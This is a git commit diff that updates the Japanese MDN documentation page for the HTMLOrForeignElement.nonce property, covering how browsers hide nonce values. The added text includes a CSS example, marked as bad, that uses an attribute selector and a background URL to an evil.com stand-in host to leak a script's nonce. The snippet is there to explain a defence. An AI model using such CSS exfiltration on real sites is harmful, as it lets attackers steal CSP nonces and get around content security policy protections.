diff options
author | Masahiro FUJIMOTO <mfujimot@gmail.com> | 2021-05-01 01:21:13 +0900 |
---|---|---|
committer | GitHub <noreply@github.com> | 2021-05-01 01:21:13 +0900 |
commit | e1de85864127b542e503bc75ac415c9164a80960 (patch) | |
tree | 8fcfad04952b3d4708b21552fac023207d76c842 /files/ja/web | |
parent | 7ab429f4f603e0f850d852c13d2b87936bfc81d9 (diff) | |
download | translated-content-e1de85864127b542e503bc75ac415c9164a80960.tar.gz translated-content-e1de85864127b542e503bc75ac415c9164a80960.tar.bz2 translated-content-e1de85864127b542e503bc75ac415c9164a80960.zip |
HTMLOrForeignElement.nonce を更新 (#543)
2021/02/01 時点の英語版に同期
Diffstat (limited to 'files/ja/web')
-rw-r--r-- | files/ja/web/api/htmlorforeignelement/nonce/index.html | 41 |
1 files changed, 25 insertions, 16 deletions
diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html index c91021d641..cd64acbbb5 100644 --- a/files/ja/web/api/htmlorforeignelement/nonce/index.html +++ b/files/ja/web/api/htmlorforeignelement/nonce/index.html @@ -12,42 +12,51 @@ tags: - nonce translation_of: Web/API/HTMLOrForeignElement/nonce --- -<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div> +<div>{{APIRef("HTML DOM")}}</div> -<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLOrForeignElement")}} のプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー(Content Security Policy)で使用される暗号化番号を返します。</span></p> +<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (<a href="/ja/docs/Web/HTTP/CSP">Content Security Policy</a>) で使用される一度だけの暗号化番号を返します。</span></p> -<p>後の実装では、<code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します(CSS 属性セレクターのようなサイドチャネルには公開しません)。</p> +<p>後の実装では、 <code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。</p> -<h2 id="Syntax" name="Syntax">構文</h2> +<h2 id="Examples">例</h2> -<pre class="syntaxbox">var <em>nonce</em> = HTMLElement.nonce -HTMLElement.nonce = <em>nonce</em></pre> +<h3 id="Retrieving_a_nonce_value">ノンス値の受け取り</h3> -<h3 id="Value" name="Value">値</h3> +<p>以前は、すべてのブラウザーが IDL 属性の <code>nonce</code> に対応しているわけではなかったので、回避策としては、代替として <code><a href="/ja/docs/Web/API/Element/getAttribute">getAttribute</a></code> を使用するようにしていました。</p> -<p>暗号化ナンス(cryptographic nonce)。</p> +<pre class="brush: js">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> -<h2 id="Specifications" name="Specifications">仕様書</h2> +<p>しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると <code>nonce</code> の値を隠します (空の文字列が返されます)。 IDL プロパティ (<code>script['nonce']</code>) がノンスにアクセスする唯一の方法となります。</p> + +<p>ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。</p> + +<pre class="brush: css example-bad">script[nonce~=whatever] { + background: url("https://evil.com/nonce?whatever"); +}</pre> + +<h2 id="Specifications">仕様書</h2> <table class="standard-table"> <thead> <tr> <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> </tr> </thead> <tbody> <tr> <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初回定義</td> </tr> </tbody> </table> -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> +<h2 id="Browser_compatibility">ブラウザーの互換性</h2> + +<p>{{Compat("api.HTMLElement.nonce")}}</p> -<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> +<h2 id="See_also">関連情報</h2> -<p>{{Compat("api.HTMLOrForeignElement.nonce")}}</p> +<ul> + <li><a href="/ja/docs/Web/HTML/Global_attributes/nonce"><code>nonce</code> グローバル属性</a></li> + <li><a href="/ja/docs/Web/HTTP/CSP">コンテンツセキュリティポリシー</a></li> + <li>CSP: {{CSP("script-src")}}</li> +</ul> |